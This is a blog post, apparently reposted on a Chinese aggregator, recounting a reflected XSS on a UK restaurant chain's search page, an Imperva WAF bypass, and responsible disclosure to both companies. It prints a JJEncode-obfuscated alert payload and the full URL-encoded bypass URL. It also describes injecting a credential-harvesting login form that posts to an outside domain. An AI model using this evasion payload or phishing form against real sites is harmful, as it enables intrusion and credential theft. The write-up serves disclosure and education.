Imperva WAF Bypass

栏目: IT技术 · 发布时间: 5年前

内容简介:This is a story about an XSS vulnerability on a website for a popular UK restaurant chain which from this point forward I will simply refer to as "Shenanigan's". The interesting thing is not, infact, the XSS vulnerability but is about bypassing the Web App

This is a story about an XSS vulnerability on a website for a popular UK restaurant chain which from this point forward I will simply refer to as "Shenanigan's". The interesting thing is not, infact, the XSS vulnerability but is about bypassing the Web Application Firewall that was protecting it.

Lets start at the beginning where it should make a bit more sense.

I was in the Office and looking at the Shenanigans website trying to find out where my local was to see if they delivered. I mistyped the address I was searching for and was presented with a generic no results found.

Imperva WAF Bypass

The interesting thing here was that my search term was included in the response. Having just been playing with some XSS labs on Immersive Labs I threw a quick piece of HTML in to see what happened, i was just in a standard desktop and the first thing that popped in to my head was just to try some HTML tags adding testing in to the search box and hit search. Popping open dev tools I can see that I have HTML injection. This also appears in the URL as a search parameter search?search=<b>testing</b>#results so we have Reflected XSS

Imperva WAF Bypass

This is bad but Javascript execution is worse so I try a new URL search?search=<script>console.log("XSS")</script>#results

Instead of my nice Console Message what i actuall ended up with was an Imperva block page.

Imperva WAF Bypass

A quick google shows me that Imperva is a Web Application Firewall used to protect websites from the kind of attacks that I was attemping. I tried a coupld of generic encodings and filter evasions but unsuprisingly i was blocked at each attempt and after a handfull of attempts the IP was blocked.

So Javascript was blocked by the WAF but the underlying website was still vulnerable to reflected XSS and I know I can inject HTML so I wanted to prove it could still be damaging even without the ability to run javascript.

After a short time playing I eneded up with a URL that would inject an HTML logon form that would POST any entered credentials out to a domain that I owned.

As it was all in the URL i could generate a Link that appears to come from the legitimate Shenanigans domain and socially engineer users in to handing over their credentials.

Image of form

I still wasn't happy that I didnt have javascript execution so I started playing with some evasion techniques trying to identify what characters would trigger the XSS detection. After several attempts I managed to get a javascript error in the console.

Sending <code onmouseover="new hello;">test</code> in the search query resulted in a javascript error in the console window

Imperva WAF Bypass

and more importantly it did not trigger the WAF.

So i could kind of run javascript but every time i tried to create an actual function or use standard javascript the WAF would kick in. I need to run Javascript that didnt look like Javascript.

Fortunatly, for me at least. I had seen this technique before. JJEncode and JS Fuck were techniques I had seen used by exploit Kits to obfuscate javascript payloads and redirect chains to hinder analysis and try to evade detection engines.

JJEncode and JSFuck take your javascript you want to execute and from that creates valid javascript code that uses no Alpha or Numeric characters instead it uses a set of symbols.

Taking a look at the example below we take a simple javascript line

alert("Hello, JavaScript" )

And after running jjencode we are left with

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+",\\"+$.$__+$.___+"\\"+$.__$+$.__$+$._$_+$.$_$_+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$._$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\\"\\"+$.$__+$.___+")"+"\"")())();

How this is valid javascript I assume is black magic, but it works.

I throw this in to the onmousover HTML tag and . . .

I hit the WAF again.

One more try this time I took the jjencoded output switch and ran a simple URL encode. This gave me a really ugly URL.

https://shenanigans/search?search=%3E%3C/span%3E%3Cp%20onmouseover=%27p%3D%7E%5B%5D%3Bp%3D%7B%5F%5F%5F%3A%2B%2Bp%2C%24%24%24%24%3A%28%21%5B%5D%2B%22%22%29%5Bp%5D%2C%5F%5F%24%3A%2B%2Bp%2C%24%5F%24%5F%3A%28%21%5B%5D%2B%22%22%29%5Bp%5D%2C%5F%24%5F%3A%2B%2Bp%2C%24%5F%24%24%3A%28%7B%7D%2B%22%22%29%5Bp%5D%2C%24%24%5F%24%3A%28p%5Bp%5D%2B%22%22%29%5Bp%5D%2C%5F%24%24%3A%2B%2Bp%2C%24%24%24%5F%3A%28%21%22%22%2B%22%22%29%5Bp%5D%2C%24%5F%5F%3A%2B%2Bp%2C%24%5F%24%3A%2B%2Bp%2C%24%24%5F%5F%3A%28%7B%7D%2B%22%22%29%5Bp%5D%2C%24%24%5F%3A%2B%2Bp%2C%24%24%24%3A%2B%2Bp%2C%24%5F%5F%5F%3A%2B%2Bp%2C%24%5F%5F%24%3A%2B%2Bp%7D%3Bp%2E%24%5F%3D%28p%2E%24%5F%3Dp%2B%22%22%29%5Bp%2E%24%5F%24%5D%2B%28p%2E%5F%24%3Dp%2E%24%5F%5Bp%2E%5F%5F%24%5D%29%2B%28p%2E%24%24%3D%28p%2E%24%2B%22%22%29%5Bp%2E%5F%5F%24%5D%29%2B%28%28%21p%29%2B%22%22%29%5Bp%2E%5F%24%24%5D%2B%28p%2E%5F%5F%3Dp%2E%24%5F%5Bp%2E%24%24%5F%5D%29%2B%28p%2E%24%3D%28%21%22%22%2B%22%22%29%5Bp%2E%5F%5F%24%5D%29%2B%28p%2E%5F%3D%28%21%22%22%2B%22%22%29%5Bp%2E%5F%24%5F%5D%29%2Bp%2E%24%5F%5Bp%2E%24%5F%24%5D%2Bp%2E%5F%5F%2Bp%2E%5F%24%2Bp%2E%24%3Bp%2E%24%24%3Dp%2E%24%2B%28%21%22%22%2B%22%22%29%5Bp%2E%5F%24%24%5D%2Bp%2E%5F%5F%2Bp%2E%5F%2Bp%2E%24%2Bp%2E%24%24%3Bp%2E%24%3D%28p%2E%5F%5F%5F%29%5Bp%2E%24%5F%5D%5Bp%2E%24%5F%5D%3Bp%2E%24%28p%2E%24%28p%2E%24%24%2B%22%5C%22%22%2Bp%2E%24%5F%24%5F%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2Bp%2E%24%24%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%24%5F%2Bp%2E%5F%5F%2B%22%28%5C%5C%5C%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%5F%2Bp%2E%24%24%24%5F%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2Bp%2E%5F%24%2B%22%2C%5C%5C%22%2Bp%2E%24%5F%5F%2Bp%2E%5F%5F%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%24%2Bp%2E%5F%24%5F%2Bp%2E%24%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%24%24%5F%2Bp%2E%24%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%24%5F%2Bp%2E%5F%24%24%2Bp%2E%24%24%5F%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%5F%24%2Bp%2E%5F%5F%24%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%5F%5F%2Bp%2E%5F%5F%2B%22%5C%5C%5C%22%5C%5C%22%2Bp%2E%24%5F%5F%2Bp%2E%5F%5F%5F%2B%22%29%22%2B%22%5C%22%22%29%28%29%29%28%29%3B%27%3E

But the WAF didn't seem to care and once it landed at the web application I triggered the onmouseover event and up it popped, my Javascript alert.

Imperva WAF Bypass

At this point I had enough to start a responsible disclosure. There were two parts to this. One was to notify Shenanigans that I had found an issue on their website and second was to notify Imperva that They had a somewhat trivial bypass technique.

Imperva was the easy one. I emailed security at imperva.com and within the same day had an initial respose from them asking me for more information. I provided them with all the information I had and about a week later after a few back and forths they confirmed they had identifed the issue and would roll out updates. A nice simple and fast exchange.

Shenanigans was not so easy to get started.

I tried emails to security, info and support @ with no responses. I tried a webchat on their site and even resorted to phoning the customer support helpline all with little success in getting to the right part of the business.

After a couple of days without response I didnt want to just leave it and I didnt think that publicly revealing it was the best option either, So I took to linkedin and did a quick search for someone who could get me in touch the with the right team.

The first one I spotted that should yield some results was the Group CISO, this felt a little heavy handed but I just wanted someone to take a look at it. So I pinged him a direct message on LinkedIn.

From this point forward to was a simple and fast response. He apologised that it been so difficult to get through, thanked me for my perseverance and assured me that a better process for the customer facing teams would be put in place.

A few days later after providing them the same information I provided to Imperva they also confirmed that the vulnerability had been mitigated on their end.

At this point I called it a day, having made the Internet a little safer.


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

算法

算法

Robert Sedgewick、Kevin Wayne / 人民邮电出版社 / 2012-3 / 99.00元

《算法(英文版•第4版)》作为算法领域经典的参考书,全面介绍了关于算法和数据结构的必备知识,并特别针对排序、搜索、图处理和字符串处理进行了论述。第4版具体给出了每位程序员应知应会的50个算法,提供了实际代码,而且这些Java代码实现采用了模块化的编程风格,读者可以方便地加以改造。本书配套网站提供了本书内容的摘要及更多的代码实现、测试数据、练习、教学课件等资源。 《算法(英文版•第4版)》适合......一起来看看 《算法》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具